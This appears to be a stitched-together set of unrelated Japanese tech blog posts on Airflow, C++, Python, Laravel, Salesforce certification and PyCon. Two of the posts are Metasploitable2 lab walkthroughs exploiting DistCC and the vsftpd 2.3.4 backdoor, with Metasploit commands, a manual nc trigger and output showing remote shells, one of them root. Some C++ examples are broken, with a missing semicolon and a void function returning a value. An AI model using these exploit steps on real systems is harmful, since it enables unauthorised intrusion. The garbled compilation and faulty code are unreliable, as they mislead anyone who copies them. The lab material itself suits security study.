https://guides.rubyonrails.org/v4.2/command_line.html
MWAAでAWS Batchを非同期実行し、完了をSensorで監視する

# はじめに
こちらの素晴らしいブログに、PythonSensorを使っての非同期実行の方法が載っていました。

https://kakehashi-dev.hatenablog.com/entry/2023/12/18/090000

今回はそれをAWS Batchで試してみます。

ちなみにZombie Taskとは、AirflowのタスクがRunning状態だが生存が確認できない（Heartbeatが確認できない）状態でです。まさに生きたまま死んでいるゾンビ状態。

公式ドキュメントでは以下に説明が載っています。Zombie Taskと判定するコードまで載っていて、わかりやすいです。

https://airflow.apache.org/docs/apache-airflow/stable/core-concepts/tasks.html#zombie-undead-tasks

# 前提条件
- Airflowのバージョンはv2.8.1
    - 2024年10月5日現在の最新バージョンはv2.10.1
- 既にMWAAのインスタンスは作成済み
- 実行ロールには`AdministratorAccess`ポリシーを付与している
    - 実運用の際は最小権限を付与する必要があるが、今回は実験のため

# やってみる
LLMに聞きながら、以下のコードを作成しました。

```python
from airflow import DAG
from airflow.providers.amazon.aws.operators.batch import BatchOperator
from airflow.providers.amazon.aws.sensors.batch import BatchSensor
from datetime import datetime, timedelta

default_args = {
    'depends_on_past': False,
    'email_on_failure': False,
    'email_on_retry': False,
    'retries': 1,
    'retry_delay': timedelta(minutes=5)
}

with DAG('aws_batch_dag',
         default_args=default_args,
         description='Run AWS Batch Job',
         schedule_interval=None,
         start_date=datetime(2023, 5, 20),
         catchup=False
         ) as dag:

    # AWS Batch ジョブ定義と実行
    batch_job = BatchOperator(
        task_id='run_batch_job',
        job_name='airflow-batch-job',
        job_queue='<自身のジョブキューの名前>',
        job_definition='<自身のジョブ定義の名前>',
        aws_conn_id='aws_default'
    )

    # BatchOperatorはデフォルトだと待機するので、Falseにして非同期実行にする
    batch_job.wait_for_completion = False

    # AWS Batch ジョブのステータスを監視
    batch_sensor = BatchSensor(
        task_id='watch_batch_job',
        job_id=batch_job.output,
        aws_conn_id='aws_default'
    )

    batch_job >> batch_sensor
```

実行してすぐの状態がこちら。
1つ目のTaskはAWS Batchを実行してその結果を待たずにsuccessとなっています。2つ目のTaskの`BatchSensor`でAWS Batchの状態を監視しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2949357/c97d8755-f80b-4f56-cbf7-ba8d82b57c48.png)

最終的には、どちらもsuccessとなって完了しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2949357/07d03a3d-a200-41ce-796f-dc26c75532a4.png)

このとき、`BatchSensor`のログとAWS Batchのバッチ詳細を見比べてみます。
右の画像がバッチ詳細で、04:41:51に完了しています。そして左のログを見ると、04:41:53に完了しています。バッチが完了したことを検知して、Taskが完了しているのが分かりますね。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2949357/0ac9d0ad-bfe4-a411-a8f1-22a2df1623c2.png)

ちなみに、DAGファイルの以下の部分をコメントアウトして実行してみると、非同期処理にならず`BatchOperator`がAWS Batchの実行完了まで待ってしまうので注意してください。

```python
    # BatchOperatorはデフォルトだと待機するので、Falseにして非同期実行にする
    batch_job.wait_for_completion = False
```

# おわりに
Sensorはうまく使うとDAGで実施できる処理の幅が広がりますね。自分で実装すると少し面倒なところなので、うまく使っていきたいところです。
非同期処理にすることのメリットは、再掲の以下のブログにわかりやすく記載がありますので読んでみてください。

https://kakehashi-dev.hatenablog.com/entry/2023/12/18/090000
Metasploitable2 exploit DistCC

Metasploitable2のDistCCをエクスプロイトする備忘録です。
DistCCには、RCEの脆弱性(CVE-2004-2687)があます。
# Metasploitでエクスプロイトする
Kali LinuxのIPアドレス：192.168.56.10
Metasploitable2のサーバーのIPアドレス：192.168.56.20
Metasploitを起動します。
```
msfconsole
```
exploitを検索します。
```
msf6 > search distcc

Matching Modules
================

   #  Name                           Disclosure Date  Rank       Check  Description
   -  ----                           ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec
```
0番を使用します。
```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash
```
payloadを検索します。
```
msf6 exploit(unix/misc/distcc_exec) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/adduser                    .                normal  No     Add user with useradd
   1   payload/cmd/unix/bind_perl                  .                normal  No     Unix Command Shell, Bind TCP (via Perl)
.
.
.
```
1番を使用します。
```
msf6 exploit(unix/misc/distcc_exec) > set payload 1
payload => cmd/unix/bind_perl
```
オプションを確認します。
```
msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    3632             yes       The target port (TCP)


Payload options (cmd/unix/bind_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.
```
RHOSTSのRequiredがyesで、値がセットされてないので、セットします。
```
msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
```
exploitします。
```
msf6 exploit(unix/misc/distcc_exec) > exploit

[*] Started bind TCP handler against 192.168.56.20:4444
[*] Command shell session 1 opened (192.168.56.10:36475 -> 192.168.56.20:4444) at 2024-10-05 13:37:42 +0900

whoami
daemon
hostname
metasploitable
```
シェルが無いので、対話的シェルの出し方。
```
python -c 'import pty;pty.spawn("/bin/bash")'
daemon@metasploitable:/tmp$
```
プロンプトが表示されます。
[tips][cpp] 関数への参照渡し

※tips cpp集は、検索したことをcacheみたいに使用するためのmy備忘録です。

# cppの参照渡し

ポインタ渡しとの違いは、参照渡しの場合、関数ではその参照が有効な参照である事を前提条件として処理を書けます。

以下のような`nullptr`チェックが不要です。

```cpp
if( a == nullptr ){
  std::cout << "null" << std::endl;
  return true;
}
```

さて、例です。

例1
```cpp
#include <iostream>
#include <vector>

using namespace std;

void foo(int &a) { a+=2; }

int main() {
  int a = 3;

  foo(a);

  cout << a << endl

  return 0;
}
```

output
```cpp
5
```

例2
```cpp
#include <iostream>
#include <vector>

using namespace std;

void bar(vector<int> &a) { a.push_back(4); }

int main() {
  vector<int> a = {1, 2, 3};

  bar(a);

  for (int t : a) {
    cout << t << endl;
  }

  return 0;
}
```

output
```cpp
1
2
3
4
```

## ポインタ渡しと参照渡しのオーバーロード

参照渡し、ポインタ渡しはオーバーロードできます。
すなわち、同名の関数を定義して呼べます。

```cpp
void add(int &a) { a += 2; }
void add(int *a) { 
  if( a == nullptr ){
    std::cout << "null" << std::endl;
    return true;
  } 
  add(*a);
}

```

参考
https://qiita.com/agate-pris/items/05948b7d33f3e88b8967
Metasploitable2 exploit vsftpd 2.3.4

Metasploitable2のvsftpdをエクスプロイトする備忘録です。
vstpd 2.3.4には、バックドアの脆弱性があます。
ユーザー名の最後に:)を付けて、ログインしようとすると
6200番ポートで、バインドシェルがオープンします。
# 動作の確認
Kali LinuxからMetasploitable2にftpで接続します。
ユーザー名は何でもいいですが、最後に:)を付けます。
パスワードも何でもいいです。
Kali LinuxのIPアドレス：192.168.56.10
Metasploitable2のサーバーのIPアドレス：192.168.56.20
```
nc 192.168.56.20 21  
220 (vsFTPd 2.3.4)
USER user:)
331 Please specify the password.
PASS hoge
```
となります。
別のターミナルを開いて、6200番に接続します。
```
nc 192.168.56.20 6200
whoami
root
hostname
metasploitable
```
# Metasploitでエクスプロイトする
Metasploitを起動する。
```
msfconsole
```
exploitを検索します。
```
msf6 exploit(multi/samba/usermap_script) > search vsftpd backdoor

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
```
0番を使用します。
```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
```
payloadは、要らないようです。オプションを確認します。
```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.
```
RHOSTSのRequiredがyesで、値がセットされてないので、セットします。
```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
```
exploitします。
```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.56.20:21 - The port used by the backdoor bind listener is already open
[+] 192.168.56.20:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.10:46593 -> 192.168.56.20:6200) at 2024-10-05 12:50:48 +0900

whoami
root
hostname
metasploitable
```
シェルが無いので、対話的シェルの出し方。
```
python -c 'import pty;pty.spawn("/bin/bash")'
root@metasploitable:/#
```
プロンプトが表示されます。
python basic

### 変数
変数名　= 値

``` python
x = "hello"
y = 1
```

### 文字列
シングルクォーテーション　or ダブルクォーテーション
シングルで文字列を書く場合、途中に「'」を使う場合は注意

``` python
string1 = "hello"
string2 = "world"

single = "i'm python"
```

### 数値

``` python
num = 1
num = 2
```

### リスト
JavaScriptでいう配列

``` python
list = [1,2,3,4,5]
```

### タブル
定義後に値は変更できない

``` python
tuple = (1, 2, 3, 4, 5)
print(tuple)  # (1, 2, 3, 4, 5)
tuple.append(6)
print(tuple) # AttributeError: 'tuple' object has no attribute 'append'
```

### 辞書
JavaScriptでいうオブジェクト

``` python
dictionaries = {"a": 1, "b": 2, "c": 3}
print(dictionaries["a"])  # prints 1
print(dictionaries.a)  # AttributeError: 'dict' object has no attribute 'a'
```

### 真偽値
``` python
a = True
b = False
```

### if文
``` python
a = 1
if a == 1:
    print("a is 1")
elif a == 2:
    print("a is 2")
else:
    print("a is not 1 or 2")
```

### for文
```
for i in range(10):
    print(i)  # prints 0 to 9
```

### 関数
``` python
def fun():
    print("Hello World")

def ret(x):
    return x + 2
```
Salesforce 認定アドミニストレーター受験談（2024/9）

## Salesforceの経験と前提知識

はじめに、私のSalesforceの経験についてですが、今年で社会人3年目です。
2023/4月から、Salesforceを使い始めたので、約1年半となります。その前は、Java系の開発を行う部署でシステムエンジニアとして働いていました。
普段は、Salesforceの管理を中心に、開発にも少し携わっています。

## 勉強方法

・Trailhead（[Salesforce 公式のオンライン学習サイト](https://trailhead.salesforce.com/ja)）
・Youtube （[Salesforce勉強ヒロバ](https://www.youtube.com/@sftak)）
・Sales 4 box（[無料問題集](https://sales4box.com/admin_q80/)）

この3つで、合格することができました。勉強期間は、だいたい2~3週間で前半は1日30分から1時間ぐらいが多かったと思います。

試験の直前は、集中して2〜３時間ぐらいはやってたと思います。
私は、問題集から入って、わからないところはTrailheadで手を動かしてやってみる。また、Youtubeで講義を聞いてみるという方法で勉強しました。

もし、Salesforceを始めたばかりという方は、問題集より、Trailheadで手を動かしてから問題集に取り組んだほうがいいかと思います。

## 試験を受けた感想
Salesforce 認定アドミニストレーターの試験は、試験時間が105分で65%以上で合格です。
試験の詳細は、受験ガイドを確認してみてください。（[認定アドミニストレーター受験ガイド](https://trailhead.salesforce.com/ja/help?article=Salesforce-Certified-Administrator-Exam-Guide)）

私は、約90％ぐらいの正答率で合格することができました。試験時間も、かなり余裕があると思いますので、じっくり見直す時間は十分にあります。
だいたい、30~40分ぐらいで解き終わり、見直し含めて1時間かからないぐらいで退席しました。

この試験は、終了ボタンを押した瞬間に合否がでるので、ボタンを押すときはちょっとドキドキしました。

「合格」の文字を見て安心しました。ちゃんと勉強してよかったです。
これで満足せずに今後も、Salesforceの勉強を続けて、実務に活かしていければと思っています。

## おまけ
Salesforce の認定AIアソシエイト試験、認定AIスペシャリストの試験が2025年12月31日まで、各1回ずつ無償で受けられるキャンペーンをやっているみたいです。

皆さんもチャレンジしてみては、いかがでしょうか？
[tips][cpp] vector配列の初期化

※tips cpp集は、検索したことをcacheみたいに使用するためのmy備忘録です。

# Vector配列の初期化

## 一次元配列

### サイズのみの場合

要素数10個の配列を作ります。
```cpp
int n = 10;
vector<int> a(n);
```

### サイズと値で初期化する場合

要素数10個の配列を作ります。

値をfalseに指定された要素を10個作っています。

```cpp
int n = 10;
bool flag = false;
vector<bool> a(n, flag);
```

## 二次元配列

1次元配列と同じようにします。

### サイズのみの場合

10×20の配列を作ります。

```cpp
int h = 10;
int w = 20;

vector<vector<int>> a(h, vector<int>(w));
```

### サイズと値で初期化する場合

要素をfalseに持つ、10×20の配列を作ります。

```cpp
int h = 10;
int w = 20;

vector<vector<bool>> a(h, vector<bool>(w, false));
```
参考になった記事 覚書


## はじめに
今まで読んだ記事の中で、特に参考になったもの・保存しておきたいものをまとめておきます。主に、自分のためのメモとして作成しています。

## 論文執筆
### [アカデミックヤクザにキレられないためのLaTeX論文執筆メソッド](https://qiita.com/suigin/items/10960e516f2d44f6b6de)
- 執筆者：[suigin](https://qiita.com/suigin)さん
- サイト：Qiita
#### 補足
- LaTeXを用いて論文執筆をする際、体裁を整えるための様々な注意事項が紹介されている。
### [【LaTeX】\footnoteも\refしたい](https://qiita.com/migawariw/items/ac2b940f5dc7e870850a)
- 執筆者：[みがわり](https://qiita.com/migawariw)さん
- サイト：Qiita

## 機械学習
### [『パターン認識と機械学習』の攻略ノート：記事一覧](https://www.anarchive-beta.com/entry/2021/01/06/092619)
- 執筆者：[しょこ](https://www.anarchive-beta.com/about)さん
- サイト：はてなブログ
#### 補足
- Python, R を用いた実装例も紹介されている。
- 他にも色々な面白そうな本についての記事も作成されている。[[参考](https://www.anarchive-beta.com/entry/2020/07/13/071300)]

## ソフトウェア開発
### [Git push後のコミットメッセージを変更する方法](https://qiita.com/kaiou_fight/items/32c1798415338537ec49)
- 執筆者：[oh tsuchiya](https://qiita.com/kaiou_fight)さん
- サイト：Qiita
### [Poetry1.5.1からGPU版のPytorchのインストールが簡単になりました](https://zenn.dev/zerebom/articles/b338784c8ac76a)
- 執筆者：[zerebom](https://zenn.dev/zerebom)さん
- サイト：Zenn
### [エラーや実行完了をLINEで通知する【Python】](https://qiita.com/Jun-T/items/a63eb60ff75ede0ada04)
- 執筆者：[T Jun](https://qiita.com/Jun-T)さん
- サイト：Qiita
### [変更があるときだけコミット [GitHub Actions]](https://zenn.dev/snowcait/articles/903d86d668fcb7)
- 執筆者：[雪猫](https://zenn.dev/snowcait)さん
- サイト：Zenn
### [pyenvで最新バージョンがインストールできない](https://qiita.com/takoz/items/fa953620dee68cb87575)
- 執筆者：[takoz](https://qiita.com/takoz)さん
- サイト：Qiita

## デザイン
### [コストや時間の削減表現のテンプレート配布します！](https://raku-pre.com/cost_reduction/)
- サイト：[ラクプレ](https://raku-pre.com/)

## 数学
### [ベクトル・行列の微分チートシート](https://tekrog.com/cheatsheet-differentiation-of-vectors-and-matrices)
- サイト：[TekRog](https://tekrog.com)

## 付録（自筆記事）
最後に、手前味噌にはなりますが、宣伝を兼ねて自分の記事も紹介させていただきます
### Zenn vs Qiitaを終わらせに来た [[Zenn]](https://zenn.dev/naoki0103/articles/zenn-qiita-sync-workflow) [[Qiita]](https://qiita.com/C-naoki/items/5c5609b82a67335bf3be)
- GitHub Actionsを用いて、ZennとQiitaの記事を同期させる方法を紹介しています。
- 一度設定をしてしまえば、その後特に手を煩わすことなく、同時にZennとQiitaに記事を自動で投稿することができます。

### 画像結合のためのアルゴリズムを考えてみた [[Zenn]](https://zenn.dev/naoki0103/articles/image-stitcher-application) [[Qiita]](https://qiita.com/C-naoki/items/bf973b041709ad0cd635)
- 画像結合のためのシンプルなアルゴリズムを考え、Pythonで実装してみました。
【ChatGPT Canvas】で質問の答えがCanvasを使わずに出てきたときのTip


　どうも、カーブミラーです。

　今回は、質問の答えがCanvasを使わずに出てきたときのTipです。Canvasを使って欲しいのに、というときに使えます。

:::note info
本記事は、ChatGPT（有料版）
で行なっております。画像は
ありません。　あしからず。
:::

　まずは、ニュース。

　YouTubeで
　　ショート動画
　　　というものがあります。

　これは
　　1分という短いものです。

　それが
　　3分まで
　　　延長可能になります。

　2024年10月15日から
　　サービス開始。
　　　縦長動画に適用されます。

[「YouTubeショートに投稿できる動画の長さが3分に延長」](https://gigazine.net/news/20241004-youtube-short-video-length-3-minutes/?utm_source=x&utm_medium=sns&utm_campaign=x_post&utm_content=20241004-youtube-short-video-length-3-minutes)
***
　さて、本題です。

　今回は、
　　ChatGPT 4o with canvasを
　　　使っていて、質問の答えが
　　　　Canvasを使わずに
　　　　　出てきたとき、
　　　　　　どうしたらCanvasで
　　　　　　　出せるのか、です。

　ChatGPT 4o with canvasは、
　　内容から判断して
　　　Canvasの起動をしています。

　しかし、
　　起動されずに
　　　ふつうに出てくる場合も
　　　　あります。

　そんなときに
　　使えるのが
　　　今回のTipsです。

```Text:Canvas使いたいPrompt
Canvas使用
```

　ふつうに出力された文章を
　　これを使うことで、
　　　Canvasのウィンドウに
　　　　入れてくれます。
***
　このPromptは、
　　単体でも使えますが、
　　　Canvasの起動を
　　　　確実に行いたい場合にも
　　　　　使えます。

```Text:確実にCanvas起動
✘✘✘。Canvas使用
```

　✘✘✘は、ふつうの質問ですね。
　　うしろにTipsを追記すれば、
　　　“Canvasに入れるのね”と
　　　　判断してもらえます。

　みなさんの
　　作品制作の糧に
　　　なれば、幸いです。

　今回は、ここまで。
[tips][cpp] cppで10進数をchar型bit表現に変換

※tips cpp集は、検索したことをcacheみたいに使用するためのmy備忘録です。

# 10進数表現をchar型の2進数表現に変換する

今回はbitについて。
bitsetを使用した方法はありますが、事前に桁数を指定したくないって時に。

## `int`を`char`にする

### 例:0を'0'にする,5を'5'にする, 9を'9'にする

```cpp
int main() {
  int zero = 0;
  int five = 5;
  int nine = 9;
  
  char ch1 = zero + '0';
  char ch2 = five + '0';
  char ch3 = nine + '0';

  std::cout << typeid(ch1).name() << " " << ch1 << std::endl;
  std::cout << typeid(ch2).name() << " " << ch2 << std::endl;
  std::cout << typeid(ch3).name() << " " << ch3 << std::endl;
}
```

```
c 0
c 5
c 9
```

## `int`宣言した10進数を2進数のchar型に変換

```cpp
void toBinary(unsigned int n, vector<char> &c) {
  if (n / 2 != 0) {
    toBinary(n / 2, c);
  }

  char tmp = '0' + n % 2;
  c.push_back(tmp);
}

int main() {
  unsigned int decimal = 8;

  vector<char> c;

  toBinary(decimal, c); // ['0', '0', '0', '1']

  for (char val : c) {
    cout << val;
  }
  return 0;
}
```

output
```
1000
```
Laravel11でのSailの始め方

## Laravel Sailとは

LaravelでDocker開発環境を構築するためのCLI(コマンドラインインターフェース)のこと

対応OSとしてはmacOS、Linux、Windows(WSL2)



## Sail環境の構築

### Laravelプロジェクトの作成
Laravel8以降では標準インストールされているので、新規プロジェクトを作成します。

```
composer create-project laravel/laravel sail-project
```

LaravelとPHPのバージョン
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3760274/00051f26-df16-f914-e34e-cb49bd4da838.png)



### docker-compose.ymlファイルの作成、環境変数の設定
下記コマンドを実行
```
php artisan sail:install
```
　

使用しているDBを聞かれたのでmysqlを選択しました

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3760274/44785265-9c5d-f81a-1ff4-199318257194.png)


インストール完了後に、sail起動
```
./vendor/bin/sail up
```
　
Docker Desktopでコンテナが起動していることを確認

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3760274/fb2a60fb-7024-97d6-1211-89c228cafd35.png)
　
あとは、docker-compose.ymlを書き換えることでカスタム出来ます

## 画面の確認
依存関係のインストール
```
./vendor/bin/sail composer install
./vendor/bin/sail pnpm install
```

マイグレーション、シーディング
```
./vendor/bin/sail artisan migrate --seed
```

下記にアクセス
```
http://localhost
```
Laravelの画面が表示される→OK
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3760274/cf8ad4f2-f1f2-a1ef-c44e-b3a10f56fd99.png)
データベースカラムのデータ型一覧

データベースにおけるカラムのデータ型の備忘録

---

## データ型一覧

| データ型    | 説明                                        |
| ------------ | ----------------------------------       |
| `string`     | 短い文字列                                 |
| `text`       | 長い文字列                                 |
| `integer`    | 整数（例えば1や100など）             　      |
| `float`      | 小数点を含む数字（例えば1.23）                |
| `decimal`    | 小数点を含む数字（小数点の桁数指定可能）        |
| `datetime`   | 日付と時間（例：2024-10-05 12:30:00）       |
| `timestamp`  | 特定の瞬間を表すデータ（例：Unix時間）        |
| `time`       | 時間（例：12:30:00）                       |
| `date`       | 日付（例：2024-10-05）                     |
| `binary`     | バイナリデータ（0と1のデータ）                |
| `boolean`    | 真偽値（trueまたはfalse）                  |

---

随時追加していきます。
enebularでnode-red その15

# 概要
enebularでnode-redやってみる。
datastore使ってみる。

# datastoreを使う手順。

- テーブルの作成・操作
プロジェクトの左メニュー、データストアをクリックします。

- データストアメニュー
プラスボタンでテーブルを作成します。ここでは、infomotionで利用するにチェックを入れない、次へボタンをクリックします。

- テーブルを作成する
カスタム　キーは、timestamp
IDをコピーする。

- フローのdatastore保存にIDを貼り付け
フローをクラウド実行環境にデプロイ

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/d190d431-de4a-9372-2d79-c701dbfd3406.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/0caa791a-5cee-e90c-6ba6-371bbea71f3b.png)


以上。
SQL Developerで個人的によく使う設定

SQL Developerで個人的によく使う設定を紹介します。なお、「プリファレンス」ウィンドウは、「ツール(T) > プリファレンス(P)」から起動します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/105859/904bb0f4-4d5c-5e68-eef8-9696115ca5a9.png)

# 空白文字の表示

「コードエディタ > 表示」から「空白文字の表示(W)」にチェックをつけます

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/105859/cfd51029-6dca-ffaf-1ad9-5db92f390ed0.png)

# 行番号

「コードエディタ > 行の左余白」から「行番号の表示(N)」にチェックをつけます

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/105859/d3f48bf4-05b4-7e68-33dc-b16ab8e3b7da.png)

# ハードタブ・ソフトタブ

「コードエディタ > 表示 >  書式 > 拡張書式設定 > インデント」で設定します。

- ソフトタブに設定したい場合は、「次でインデント」で「スペース」を選びます。「インデントスペース」はタブキーを入力した際に挿入される、スペースの文字数になります
- ハードタブに設定したい場合は、「次でインデント」で「タブ」を選びます。「インデントスペース」はタブ文字の表示文字数になります

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/105859/dc504700-8d5f-98ff-5ca6-4af548b66cf5.png)

# 文字コード・改行コード

「環境」で設定可能です。

- 改行コードは「行の終了文字(T)」で設定します
- 文字コードは「エンコーディング(E)」で設定します

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/105859/d7981bf0-f855-70e7-4304-dd531a6d5898.png)

# 環境情報

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/105859/6daf4a95-0aa2-4950-247e-857c06755e63.png)
機械学習におけるデータ前処理と特徴量エンジニアリングの違い

# 結論
データ前処理は「**データをモデルが理解しやすいように整える**」こと、特徴量エンジニアリングは「**モデルの性能が向上するようにデータを改良する**」こと。


# データ前処理とは
データ前処理とは、モデルにデータを学習させる際にデータを「学習しやすいように整える」こと。

機械学習でデータを扱う際、最初から完璧に整ったものがそろっていることは少ないです。多くのデータには欠損値があり、データの形式が異なることもあります。
そういったデータをそのまま学習させてもエラーが発生したり、正しく予測ができなかったりすることが考えられます。

そこで、訓練データの前処理を行います。
具体的な処理として、以下のようなものが挙げられます。
- **欠損値の削除、補完**（欠損値を含む行や列を削除したり、平均値や中央値などで補完する）
- **データ形式の変換**（One-Hot EncodingやLabel Encodingなど）
- **データの標準化**

これらを行うことで、モデルがデータを学習するのを助けます。


# 特徴量エンジニアリングとは
一方で特徴量エンジニアリングとは、データから新しい特徴を作り出したり、既存の特徴量（説明変数）を変換させることでモデルの性能を向上させるプロセスである。

具体的な処理として、以下のようなものが挙げられます。
- **新たな情報の抽出**（日時データから曜日データを追加）
- **数値データのビン分割**（1~10, 11~20のように、数値をグループ分けする）
- **特徴量の変換**（対数変換や平方根変換など）
- **特徴量の統合、分割**（日時データを月と日、時間の3つに分割する）

これらを行うと、データからより目的に沿った情報が引き出され、モデルがより高精度で予測を行うことに繋がります。


# まとめ
以上のように、データ前処理と特徴量エンジニアリングは異なる目的で行われます。

ただし、One-Hot Encodingのようなデータ変換の処理はどちらの目的でも用いられることがあります。そういった意味では、それぞれの処理がこの2つのどちらかに明確に分けられるわけではなく、あくまでこれら2つは目的が違うだけとも言えます。

（間違いや誤解を生む点などあれば知らせていただけると幸いです。）

# 参考文献
- [AI・機械学習に必須のデータの前処理とは？正規化・標準を使った前処理方法を解説](https://www.matrixflow.net/case-study/14/)
- [第9章 特徴量エンジニアリング](https://zenn.dev/academix/books/0da15caa65b59f/viewer/9_feature)
NASとファイルサーバについて

# はじめに
ストレージ関連の学習をする中でNASとファイルサーバについて調べたので自分用の備忘録としてここに記します。


# NASについて(Network Attached Storage)
ファイルを複数サーバで共有することを目的としたストレージです。
IPアドレスを持ち、ネットワークに接続して使います。

ファイルシステムやファイル共有を提供するためのファイルサーバとデータを格納するためのブロックストレージから構成されています。


# NASとファイルサーバの違い
NASは「ファイルサーバ＋ブロックストレージ」という仕組みです。

一般にNASに乗っているファイルサーバより独立したファイルサーバの方が高性能です。

ファイルサーバを使うことで容量を拡張できたり、権限など様々な対応が可能になります。セットになっているNASではこれは難しいです。

# ファイル共有のプロトコル
### NFS
UNIX系(macOS、Linux)を搭載したサーバｰストレージ間で使われるデータ転送プロトコル。

### SMB/CIFS
Windowsを搭載したサーバｰストレージ間で使われるデータ転送プロトコル。
SMBの後継としてCIFSが誕生しました。


# SCSIプロトコルでのファイル共有
ブロックストレージはSCSIコマンドでブロック単位のアクセスを行います。
ブロックレベルのアクセスは、ストレージ自体がファイルシステムを理解しないため、複数ホストが互いに相手領域を侵食する可能性があります。


# ファイル共有用のプロトコルを用いる理由
それに対し、NFSやCIFS/SMBのファイル共有プロトコルを使うことでファイル単位でのアクセスが可能です。
必要に応じてロックするため安全に複数サーバでの共有を可能にしています。
強強エンジニアじゃないのに、なぜPyConに参加するのか

## 前提：PyConを知ったきっかけ、この記事を書くきっかけ

私がエンジニアとして仕事を取り始めた頃から、勉強会やカンファレンスがあることはなんとなく知っていて、参加したいと思っていました。
しかし、タイミング悪くコロナウイルスの流行があり、オフラインでの勉強会などはほとんど開催されなくなってしまいました。
なので、オンラインでの勉強会に参加していました。

そんな時にPyCon(PyConAPAC)がオフライン開催することを知って、オフラインの勉強会(カンファレンス??)に初参加することになりました。

そして今年もPyCon(PyConJP2024)に参加しました！
そんなPyCon終わりに友人と食事をしていた際に「なんでPyConに行ったの？」と聞かれて、その理由を考えたのが、この記事を書くきっかけです。

### どんな人に読んで欲しいか

- 勉強会やカンファレンスに参加しようか迷っている・ビビっている人
PyConの感想がメインですが、他の勉強会やカンファレンスでも同じようなことが言えると思います

### この記事で書かないこと

- 登壇者の発表に関する内容
参加レポではないです

## 実際に参加してどうだったか

最初にPyConに参加した感想は、「レベル高すぎ、心折れるわ！」です。
自分が知っている、聞いたことのあるライブラリーの話でも「ここまで考えて使ってなかった」みたいな話がたくさんです。
初参加でそんなことを感じた私ですが、今年も懲りずに参加しました。
(去年よりは少しは話が理解できる量が増えたかなと感じています)

心が折れそうでも、それを超えるメリットがあるんです!!
(最初が一番重要なことで、だんだんどうでもいいメリットになります)

### 無知の知

PyConの1番の魅力は「無知の知を知ることでできる」ことです。
自分が知らなかった機能、フレームワーク、ライブラリ、開発手法そんなものを知ることができます。
発表を聞いていても、全てを理解できることなんてありません(私がしょぼいだけ)。
なんとなくこんなものがあるんだと新しいキーワードを入手して、帰宅して、片っ端から調べたり触ったりします。
私はPyConで発表を聞いている時に、出会った新しいキーワードをGoogleで調べて、そのタブを残しておきます。メモリを圧迫しながら、大量のタブを開いて帰宅します。そこからが個人的には本番とも言えます。

自分全く知らない知識は調べることもできません。企業とかに勤めていれば、そこで自然と情報を得る機会もあるかも知れませんが、独学であったりするとそのような機会がありません。

PyConでセッションを聞いて、ほとんど理解できなくてもそこで聞いたキーワードやどこから分からなくなったかなどが分かれば、続きは自分で調べることができます。

### 高みを知り、熱量に感化される

PyConに行くと、すごい人がたくさんいます。
登壇者はすごい。
質問する人もすごい。
LTもすごい。

「自分なんてまだまだだな。頑張るぞ！」と思えます(事実自分がまだまだなのだが)。

そして会場全体に熱量があるから、オンラインイベントとは違う肌で感じる熱があります。
そういう空間に行くだけで、仕事とかお金ではなく自分がもっと技術に取り組んでみたいという気持ちになれます。

### スポンサーブースでノベルティがもらえる

独学でプログラミングを勉強している時に、たまに見る強そうなエンジニアがPCに貼っているシール。あれはどこで手に入れているのか、ずっと疑問でした。
あのシールがPyConでゲットできます！

